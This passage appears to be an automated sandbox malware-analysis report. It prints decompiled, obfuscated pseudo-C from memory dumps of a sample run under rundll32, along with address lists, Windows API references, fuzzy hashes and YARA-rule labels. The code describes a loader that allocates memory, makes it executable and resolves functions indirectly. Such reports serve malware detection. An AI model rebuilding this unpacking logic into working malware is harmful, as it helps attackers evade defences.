0x006f6ec9
0x006f6ec9
0x006f6ed4
0x006f6ed7
0x006f6ee0
0x006f6ee2
0x006f6ee3
0x006f6ee3
0x006f6ee3
0x006f6eec
0x006f6eef
0x006f6ef2
0x006f6f07
0x006f6f0a
0x006f6f0d
0x006f6f10
0x006f6f11
0x006f6f14
0x006f6f1b
0x006f6f21
0x006f6f22
0x006f6f31
0x006f6f33
0x006f6f39
0x006f6f3c
0x006f6f40
0x006f6f43
0x006f6f4b
0x006f6f4e
0x006f6f4e
0x006f6f61
0x006f6f68

APIs

VirtualProtect.KERNELBASE ref: 006F6B65

Memory Dump Source

Source File: 00000002.00000002.253523246.00000000006F0000.00000040.00000001.sdmp, Offset: 006F0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction ID: e1c334f04616c6f57decb8bc05b58837d8291f256d46813906d2ba3605635e76
Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction Fuzzy Hash: 3FC22472844608EFEB049FA0C8C57EEBBF5FF48320F0589ADD899AA145D7345264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 006F709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E006F709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E006F2D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E006F746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
					_t49 = E006F2A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E006F5F16(_t51, _t60, 0, _t75, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E006F8F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}

0x006f709d
0x006f709d
0x006f709d
0x006f709d
0x006f709e
0x006f70a5
0x006f70ab
0x006f70ae
0x006f70af
0x006f70b2
0x006f70b6
0x006f70ba
0x006f70c1
0x006f70cb
0x006f70d0
0x006f70d0
0x006f70d6
0x006f70dd
0x006f70e0
0x006f70e3
0x006f70e9
0x006f70f5
0x006f70fc
0x006f7102
0x006f710a
0x006f710c
0x006f7112
0x006f7119
0x006f711d
0x006f712b
0x006f712b
0x006f7135
0x006f7138
0x006f7138
0x006f713e
0x006f7146
0x006f714a
0x006f714b
0x006f7153
0x006f7157
0x006f7158
0x006f715d
0x006f7163
0x006f7166
0x006f7169
0x006f716c
0x006f7179
0x006f717d
0x006f717f
0x006f7181
0x006f7182
0x006f7184
0x006f718e
0x006f7191
0x006f7191
0x006f719d
0x006f719e
0x006f719e
0x006f719e
0x006f71a6
0x006f71a8
0x006f71b0
0x006f71b4
0x006f71b5
0x006f71ba
0x006f71c2
0x006f71c6
0x006f71c7
0x006f71c7
0x006f71cc
0x006f71e0
0x006f71ea
0x006f71f0
0x006f71f1
0x006f71f7
0x006f71fb
0x006f71ff
0x006f7201

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 006F70D0
VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 006F7138

Memory Dump Source

Source File: 00000002.00000002.253523246.00000000006F0000.00000040.00000001.sdmp, Offset: 006F0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction ID: e526339b3373ada24046afef528b0bbf4b59ed72e3ba61b840874a4475ee1b3a
Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
Instruction Fuzzy Hash: 2A415072908208EFEB04DF54C885BAEBBF5EF88710F15849DED88AB246C7741950DB69

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 3216 Parent PID: 4316 rundll32.exeCOMMON

Executed Functions

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000163F(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001850();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E100018F4(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E100012DC(E1000135A,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001538(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t48 =  *_t55(_t43, 0, 0);
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10001DE1(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48);
				E10001DFC(_t43);
				goto L11;
			}

0x10001646
0x1000164f
0x10001652
0x10001742
0x10001742
0x10001659
0x1000165d
0x10001663
0x10001671
0x10001672
0x10001675
0x10001678
0x10001681
0x10001684
0x1000168a
0x1000168d
0x10001694
0x1000173f
0x00000000
0x1000173f
0x1000169e
0x100016ef
0x100016ef
0x10001705
0x1000170a
0x10001732
0x1000170c
0x1000170f
0x10001717
0x1000171a
0x10001721
0x10001721
0x10001728
0x10001728
0x10001735
0x1000173b
0x1000173d
0x1000173d
0x00000000
0x1000173b
0x100016ab
0x100016e9
0x00000000
0x100016e9
0x100016ad
0x100016b0
0x100016bb
0x100016bf
0x100016e1
0x100016e1
0x00000000
0x100016e1
0x100016c1
0x100016c6
0x100016cd
0x100016d2
0x00000000
0x00000000
0x100016d7
0x100016da
0x00000000

APIs

Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

GetSystemTime.KERNEL32(?,00000000,74B063F0), ref: 1000165D
SwitchToThread.KERNEL32 ref: 10001663

Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Sleep.KERNELBASE(00000000,00000000), ref: 10001684
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016B9
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
CloseHandle.KERNEL32(00000000), ref: 10001728
GetLastError.KERNEL32(?,00000000), ref: 10001730
GetLastError.KERNEL32 ref: 1000173D

Memory Dump Source

Source File: 00000003.00000002.478658021.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.478640999.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.478706873.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A35F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E00A35F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __edi;
				signed int _t610;
				void* _t612;
				signed int _t613;
				intOrPtr _t619;
				void* _t626;
				void* _t628;
				void* _t630;
				signed int _t631;
				signed int _t633;
				signed int _t636;
				signed int _t638;
				void* _t640;
				intOrPtr _t641;
				signed int _t644;
				void* _t646;
				signed int _t647;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr _t656;
				signed int _t658;
				signed int _t661;
				signed int _t665;
				void* _t667;
				signed int _t668;
				signed int _t671;
				signed int _t675;
				signed int _t677;
				void* _t679;
				signed int _t680;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				void* _t691;
				signed int _t692;
				signed int _t698;
				signed int _t701;
				signed int _t706;
				void* _t708;
				intOrPtr _t709;
				signed int _t711;
				void* _t713;
				signed int _t714;
				signed int _t717;
				intOrPtr _t720;
				signed int _t722;
				void* _t724;
				signed int _t726;
				intOrPtr _t729;
				void* _t730;
				signed int _t733;
				void* _t739;
				void* _t741;
				void* _t742;
				signed int _t744;
				void* _t746;
				signed int _t747;
				signed int _t753;
				signed int _t756;
				signed int _t760;
				void* _t762;
				signed int _t767;
				signed int _t771;
				void* _t773;
				void* _t775;
				void* _t776;
				intOrPtr _t778;
				signed int _t781;
				signed int _t785;
				intOrPtr _t788;
				signed int _t791;
				intOrPtr _t794;
				signed int _t797;
				signed int _t813;
				signed int _t816;
				void* _t819;
				signed int _t821;
				signed int _t824;
				void* _t827;
				void* _t828;
				void* _t830;
				signed int _t836;
				signed int _t840;
				signed int _t842;
				signed int _t844;
				signed int _t851;
				signed int _t856;
				signed int _t859;
				signed int _t862;
				signed int _t865;
				signed int _t867;
				signed int _t869;
				signed int _t875;
				signed int _t882;
				void* _t888;
				signed int _t889;
				signed int _t893;
				signed int _t896;
				signed int _t901;
				signed int _t906;
				signed int _t908;
				signed int _t916;
				signed int _t920;
				signed int _t924;
				signed int _t926;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t936;
				signed int _t939;
				signed int _t945;
				signed int _t947;
				signed int _t950;
				signed int _t953;
				signed int _t955;
				signed int _t958;
				void* _t966;
				signed int _t969;
				signed int _t975;
				signed int _t977;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t987;
				signed int _t1002;
				signed int _t1005;
				signed int _t1009;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1020;
				signed int _t1023;
				signed int _t1026;
				signed int _t1028;
				signed int _t1031;
				signed int _t1034;
				signed int _t1035;
				void* _t1036;
				long _t1041;
				void* _t1043;
				signed int _t1045;
				signed int _t1052;
				signed int _t1054;
				signed int _t1057;
				signed int _t1060;
				signed int _t1063;
				signed int _t1065;
				signed int _t1068;
				void* _t1069;
				signed int _t1071;
				signed int _t1074;
				void* _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1085;
				void* _t1089;
				signed int _t1091;
				void* _t1097;
				void* _t1102;
				signed int _t1103;
				signed int _t1106;
				void* _t1109;
				signed int _t1112;
				signed int _t1119;
				signed int* _t1120;
				signed int* _t1121;
				signed int* _t1122;
				signed int* _t1123;
				signed int* _t1124;
				signed int* _t1125;
				signed int* _t1126;
				signed int* _t1127;
				signed int* _t1128;
				signed int* _t1129;
				signed int* _t1130;
				signed int* _t1131;
				signed int* _t1132;
				signed int* _t1133;
				signed int* _t1134;
				signed int* _t1136;
				signed int* _t1139;
				signed int* _t1140;
				signed int* _t1141;
				signed int* _t1142;
				signed int* _t1143;
				signed int* _t1144;

				_t1063 = __esi;
				_t813 = __ebx;
				_push(__eax);
				 *_t1119 =  *_t1119 & 0x00000000;
				 *_t1119 =  *_t1119 + _t1102;
				_t1103 = _t1119;
				_t1120 = _t1119 + 0xfffffff0;
				_push(_t1103);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 + __ecx;
				_push(__ecx);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 ^ __edx;
				_push(_t1103);
				 *_t1120 =  *_t1120 ^ _t1103;
				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t920 = _v16;
				_t1121 = _t1120 - 0xfffffffc;
				_push(__esi);
				 *_t1121 =  *_t1121 ^ __esi;
				 *_t1121 =  *_t1120;
				_push(_v16);
				 *_t1121 = _t920;
				_push(_t1002);
				 *_t1121 =  *_t1121 - _t1002;
				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t1121 = _t610;
				_push(__esi);
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t920);
				 *_t20 = _t612;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t613);
				_v20 = _t613;
				_t836 = 0 ^  *(__ebx + 0x41c55d);
				if(_t836 > _v20) {
					_push(_v12);
					 *_t1121 = __ebx + 0x41c01b;
					_push(_t1103);
					 *_t1121 =  *_t1121 ^ _t1103;
					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t924 = _v20;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t924;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
				_v12 = _t836;
				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
				 *_t1121 = _t813 + 0x41c565;
				_v12 = 0;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t1121 =  *_t1121 - _t1103;
				 *_t1121 =  *_t1121 ^ _v20;
				 *_t1121 =  *_t1121 ^ _t813;
				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t626;
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
				 *_t1121 =  *_t1121 ^ _t924;
				 *_t1121 =  *_t1121 + _t628;
				_v12 = _v12 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
				_pop( *_t72);
				_t840 = _v20;
				 *_t74 = _t630;
				_v20 = _v20 + _t840;
				_push(_v20);
				_pop(_t631);
				_t1065 = _t1063;
				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
				_t1106 = _t1103;
				if(_t842 > _t631) {
					 *_t1121 =  *_t1121 & 0x00000000;
					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
					 *_t1121 = _t813 + 0x41cfe9;
					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
					_push(_t924);
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
				}
				_t633 = _t631 & 0x00000000 ^  *_t1121;
				_t1122 =  &(_t1121[1]);
				 *_t1122 = _t1002;
				 *(_t813 + 0x41d240) = _t633;
				_t1005 = 0;
				_pop( *_t88);
				_t926 = 0 ^ _v20;
				_pop( *_t90);
				_t844 = _t842 & 0x00000000 ^ _v16;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t926;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 | _t844;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
				_v12 = _v12 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
				_t1123 =  &(_t1122[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1123 =  *_t1123 ^  *_t1122;
				_v16 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
				 *_t1123 =  *_t1123 - _t1106;
				 *_t1123 =  *_t1123 | _t638;
				_v12 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
				_t851 =  *_t1123;
				_t1124 =  &(_t1123[1]);
				 *_t113 = _t640;
				_v16 = _v16 + _t851;
				_push(_v16);
				_pop(_t641);
				_t928 = _t926;
				_v16 = _t1005;
				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
					_v20 = _v20 & 0x00000000;
					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
					_v12 = 0;
					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
				}
				 *_t1124 = _t928;
				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
				_t931 = 0;
				_v12 = _t1065;
				_t1068 = _v12;
				_v12 = 0;
				 *_t1124 =  *_t1124 | 0 ^ _a4;
				_v16 = 0;
				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
				_v12 = 0;
				 *_t1124 =  *_t1124 ^ _t644;
				 *_t1124 = _t813 + 0x41cb65;
				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
				_t1125 =  &(_t1124[1]);
				_v12 = _t931;
				_push( *_t1124 + _t646);
				_t934 = _v12;
				_pop(_t647);
				_v12 = _t647;
				_t856 = 0 ^  *(_t813 + 0x41c187);
				_t650 = _v12;
				if(_t856 > _t650) {
					_v20 = 0;
					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
					 *_t1125 =  *_t1125 ^ _t856;
					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
					_v16 = _t1068;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
					_t1068 = _v16;
				}
				_t652 = _t650 & 0x00000000 ^  *_t1125;
				_t1126 = _t1125 - 0xfffffffc;
				 *_t162 = _t652;
				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
				_push(_v16);
				_pop(_t653);
				_t936 = _t934;
				 *_t1126 = _t653;
				 *_t1126 =  *_t1126 & 0x00000000;
				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
				 *_t1126 = _t813 + 0x41ce8a;
				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
				 *_t1126 = _t1106;
				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
				_t1109 = 0;
				_t658 =  *_t1126;
				_t1127 =  &(_t1126[1]);
				 *_t1127 = _t658;
				 *_t1127 =  *_t1127 - _t856;
				 *_t1127 =  *_t1127 ^ _t658;
				 *_t1127 =  *_t1127 - _t936;
				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
				_v12 = _v12 & 0x00000000;
				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
				 *_t1127 = _t936;
				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
				_t939 = 0;
				_t1128 = _t1127 - 0xfffffffc;
				_v20 = _t813;
				_t1009 =  *_t1127;
				_t816 = _v20;
				_v12 = 0;
				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
				 *_t1128 =  *_t1128 ^ _t1009;
				 *_t1128 = _t665;
				 *_t1128 =  *_t1128 - _t1009;
				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
				_t1129 =  &(_t1128[1]);
				 *_t1129 =  *_t1129 ^ _t1068;
				_t1069 = _t667;
				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
				_t1071 = 0;
				_v20 = _t1009;
				_t859 = 0 ^  *(_t816 + 0x41c250);
				_t1012 = _v20;
				if(_t859 > _t668) {
					 *_t1129 =  *_t1129 - _t1012;
					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
					_v12 = 0;
					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
				}
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
				_t862 = _t859;
				 *_t1129 =  *_t1129 - _t1071;
				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
				 *_t1129 = _t816 + 0x41ca88;
				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
				_v20 = _t862;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
				_t865 = _v20;
				_pop( *_t211);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
				_t819 = _t816;
				 *_t1129 =  *_t1129 & 0x00000000;
				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
				_t1112 = _t1109;
				 *_t1129 =  *_t1129 - _t865;
				 *_t1129 =  *_t1129 ^ _t1012;
				 *_t1129 = _t819 + 0x41ca0d;
				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
				 *_t1129 = _t677;
				 *_t1129 = _t819 + 0x41cbe6;
				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
				_t867 =  *_t1129;
				_t1130 = _t1129 - 0xfffffffc;
				 *_t230 = _t679;
				_v16 = _v16 + _t867;
				_push(_v16);
				_pop(_t680);
				_t821 = _t819;
				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
				_t1074 = _t1071;
				if(_t869 > _t680) {
					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
					_v12 = 0;
					 *_t1130 =  *_t1130 | _t235;
					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
					 *_t1130 =  *_t1130 & 0x00000000;
					 *_t1130 =  *_t1130 + _t238;
					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
				}
				 *_t1130 = _t1012;
				 *(_t821 + 0x41c918) = 0 ^ _t680;
				_t1015 = 0;
				_v16 = _t869;
				_v16 = 0;
				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
				_t247 = _t821 + 0x41d093; // 0x41d093
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 | _t247;
				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t1130 = _t1015;
				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
				_t1018 = 0;
				 *_t250 = _t821;
				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
				_t1077 = _t1074;
				 *_t1130 =  *_t1130 & 0x00000000;
